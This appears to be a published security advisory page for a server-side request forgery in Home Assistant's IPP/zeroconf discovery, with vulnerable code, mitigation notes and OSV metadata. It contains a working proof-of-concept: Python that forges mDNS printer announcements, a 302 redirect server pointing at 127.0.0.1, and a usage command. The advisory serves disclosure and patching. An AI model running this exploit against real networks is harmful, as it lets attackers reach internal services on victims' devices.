GHSA-4GHV-53CQ-7WP3
Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40Summary
Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.
Details
Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.
The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:
async def async_step_zeroconf(
self, discovery_info: ZeroconfServiceInfo
) -> ConfigFlowResult:
host = discovery_info.host
port = discovery_info.port
zctype = discovery_info.type
name = discovery_info.name.replace(f".{zctype}", "")
tls = zctype == "_ipps._tcp.local."
base_path = discovery_info.properties.get("rp", "ipp/print")
self.discovery_info.update(
{
CONF_HOST: host,
CONF_PORT: port,
CONF_SSL: tls,
CONF_VERIFY_SSL: False,
CONF_BASE_PATH: f"/{base_path}",
CONF_NAME: name,
CONF_UUID: unique_id,
}
)
These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:
async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
session = async_get_clientsession(hass)
ipp = IPP(
host=data[CONF_HOST],
port=data[CONF_PORT],
base_path=data[CONF_BASE_PATH],
tls=data[CONF_SSL],
verify_ssl=data[CONF_VERIFY_SSL],
session=session,
)
printer = await ipp.printer()
return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}
The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.
An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.
PoC
The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.
Prerequisites
- Attacker machine on the same local network as the Home Assistant Green device
- Python 3 with dependencies:
pip install -r requirements.txt
Exploit Code
The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:
def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
transaction_id = 0x0000 # mDNS always 0
flags = 0x8400 # Standard response, authoritative answer
qdcount = 0
ancount = 4 # 4 answers (service_type, SRV, TXT, A)
nscount = 0
arcount = 0
SRV = service_name + '.' + service_type
header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)
def encode_name(name):
parts = name.split(".")
out = b""
for p in parts:
out += bytes([len(p)]) + p.encode("utf-8")
out += b"\x00"
return out
answers = b""
# PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
answers += encode_name(service_type)
answers += struct.pack("!HHI", 12, 1, 1)
target = encode_name(SRV)
answers += struct.pack("!H", len(target)) + target
# SRV record
answers += encode_name(SRV)
answers += struct.pack("!HHI", 33, 1, 120)
srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local")
answers += struct.pack("!H", len(srv_data)) + srv_data
# TXT record
txt_strs = [b"abcd=efgh"]
txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs)
answers += encode_name(SRV)
answers += struct.pack("!HHI", 16, 1, 120)
answers += struct.pack("!H", len(txt_record)) + txt_record
# A record: hihiabcdmeomeo.local -> attacker IP
answers += encode_name("hihiabcdmeomeo.local")
answers += struct.pack("!HHI", 1, 1, 120)
ip_bytes = socket.inet_aton(attacker_ip)
answers += struct.pack("!H", len(ip_bytes)) + ip_bytes
return header + answers
def send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)
sock.sendto(packet, (has_ip, 5353))
The attacker's HTTP server redirects the incoming IPP request to an internal service:
class RedirectHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>")
self.end_headers()
Usage
python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo
Exploit Flow
- The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service
- A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000
- Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server
- The attacker's server responds with a 302 redirect to
http://127.0.0.1:<port>/<path> - Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf
Impact
An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes _ipp._tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.
Mitigations
The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.
Acknowledgements
Discovered by ZDI (ZDI-CAN-28336)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2026.2.2"
},
"package": {
"ecosystem": "PyPI",
"name": "homeassistant"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-91129"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:40:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nHome Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes `_ipp._tcp.local` service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.\n\n## Details\n\nHome Assistant listens for mDNS service announcements on port 5353. When a service of type `_ipp._tcp.local` is discovered, the IPP integration\u0027s zeroconf handler (`homeassistant/components/ipp/config_flow.py`) processes it automatically.\n\nThe `async_step_zeroconf` method extracts `host`, `port`, and `base_path` directly from the mDNS discovery info without validation:\n\n```python\nasync def async_step_zeroconf(\n self, discovery_info: ZeroconfServiceInfo\n) -\u003e ConfigFlowResult:\n host = discovery_info.host\n port = discovery_info.port\n zctype = discovery_info.type\n name = discovery_info.name.replace(f\".{zctype}\", \"\")\n tls = zctype == \"_ipps._tcp.local.\"\n base_path = discovery_info.properties.get(\"rp\", \"ipp/print\")\n\n self.discovery_info.update(\n {\n CONF_HOST: host,\n CONF_PORT: port,\n CONF_SSL: tls,\n CONF_VERIFY_SSL: False,\n CONF_BASE_PATH: f\"/{base_path}\",\n CONF_NAME: name,\n CONF_UUID: unique_id,\n }\n )\n```\n\nThese values are then passed to `validate_input()`, which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:\n\n```python\nasync def validate_input(hass: HomeAssistant, data: dict) -\u003e dict[str, Any]:\n session = async_get_clientsession(hass)\n ipp = IPP(\n host=data[CONF_HOST],\n port=data[CONF_PORT],\n base_path=data[CONF_BASE_PATH],\n tls=data[CONF_SSL],\n verify_ssl=data[CONF_VERIFY_SSL],\n session=session,\n )\n printer = await ipp.printer()\n return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}\n```\n\nThe core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at `127.0.0.1` or other internal services that are not otherwise network-accessible.\n\nAn attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker\u0027s IP. The attacker\u0027s HTTP server then responds with a **302 redirect** to any internal endpoint, causing Home Assistant to make the request on the attacker\u0027s behalf.\n\n## PoC\n\nThe PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker\u0027s HTTP server, which redirects the request to an internal service.\n\n### Prerequisites\n\n- Attacker machine on the same local network as the Home Assistant Green device\n- Python 3 with dependencies: `pip install -r requirements.txt`\n\n### Exploit Code\n\nThe core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:\n\n```python\ndef build_dns_response(service_name, service_type, attacker_ip, attacker_port):\n transaction_id = 0x0000 # mDNS always 0\n flags = 0x8400 # Standard response, authoritative answer\n qdcount = 0\n ancount = 4 # 4 answers (service_type, SRV, TXT, A)\n nscount = 0\n arcount = 0\n\n SRV = service_name + \u0027.\u0027 + service_type\n header = struct.pack(\"!HHHHHH\", transaction_id, flags, qdcount, ancount, nscount, arcount)\n\n def encode_name(name):\n parts = name.split(\".\")\n out = b\"\"\n for p in parts:\n out += bytes([len(p)]) + p.encode(\"utf-8\")\n out += b\"\\x00\"\n return out\n\n answers = b\"\"\n\n # PTR record: _ipp._tcp.local -\u003e meomeo._ipp._tcp.local\n answers += encode_name(service_type)\n answers += struct.pack(\"!HHI\", 12, 1, 1)\n target = encode_name(SRV)\n answers += struct.pack(\"!H\", len(target)) + target\n\n # SRV record\n answers += encode_name(SRV)\n answers += struct.pack(\"!HHI\", 33, 1, 120)\n srv_data = struct.pack(\"!HHH\", 0, 0, attacker_port) + encode_name(\"hihiabcdmeomeo.local\")\n answers += struct.pack(\"!H\", len(srv_data)) + srv_data\n\n # TXT record\n txt_strs = [b\"abcd=efgh\"]\n txt_record = b\"\".join(bytes([len(s)]) + s for s in txt_strs)\n answers += encode_name(SRV)\n answers += struct.pack(\"!HHI\", 16, 1, 120)\n answers += struct.pack(\"!H\", len(txt_record)) + txt_record\n\n # A record: hihiabcdmeomeo.local -\u003e attacker IP\n answers += encode_name(\"hihiabcdmeomeo.local\")\n answers += struct.pack(\"!HHI\", 1, 1, 120)\n ip_bytes = socket.inet_aton(attacker_ip)\n answers += struct.pack(\"!H\", len(ip_bytes)) + ip_bytes\n\n return header + answers\n\ndef send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)\n packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)\n sock.sendto(packet, (has_ip, 5353))\n```\n\nThe attacker\u0027s HTTP server redirects the incoming IPP request to an internal service:\n\n```python\nclass RedirectHandler(BaseHTTPRequestHandler):\n def do_POST(self):\n self.send_response(302)\n self.send_header(\"Location\", \"http://127.0.0.1:\u003cINTERNAL_PORT\u003e/\u003cpath\u003e\")\n self.end_headers()\n```\n\n### Usage\n\n```bash\npython3 zeroconf.py -type _ipp._tcp.local -has_ip \u003cHOME_ASSISTANT_IP\u003e -attacker_ip \u003cATTACKER_IP\u003e -name meomeo\n```\n\n### Exploit Flow\n\n1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service\n2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker\u0027s IP and port 8000\n3. Home Assistant\u0027s IPP integration automatically discovers the \"printer\" and connects to the attacker\u0027s HTTP server\n4. The attacker\u0027s server responds with a 302 redirect to `http://127.0.0.1:\u003cport\u003e/\u003cpath\u003e`\n5. Home Assistant follows the redirect, making a request to the internal service on the attacker\u0027s behalf\n\n## Impact\n\nAn unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to `127.0.0.1` or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration \u2014 the IPP integration processes `_ipp._tcp.local` announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.\n\n## Mitigations\n\nThe shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (`localhost` and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.\n\n## Acknowledgements\n\nDiscovered by ZDI (ZDI-CAN-28336)",
"id": "GHSA-4ghv-53cq-7wp3",
"modified": "2026-09-22T20:40:51Z",
"published": "2026-09-22T20:40:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/security/advisories/GHSA-4ghv-53cq-7wp3"
},
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/pull/162941"
},
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/commit/0f3c7ca2772b605c0f3c09c88f35e527ea6ea560"
},
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/commit/815c708d19aa0c7f59f9ee318b613a5e481a42b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/home-assistant/core"
},
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/releases/tag/2026.2.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Home Assistant: mDNS Server-Side Request Forgery"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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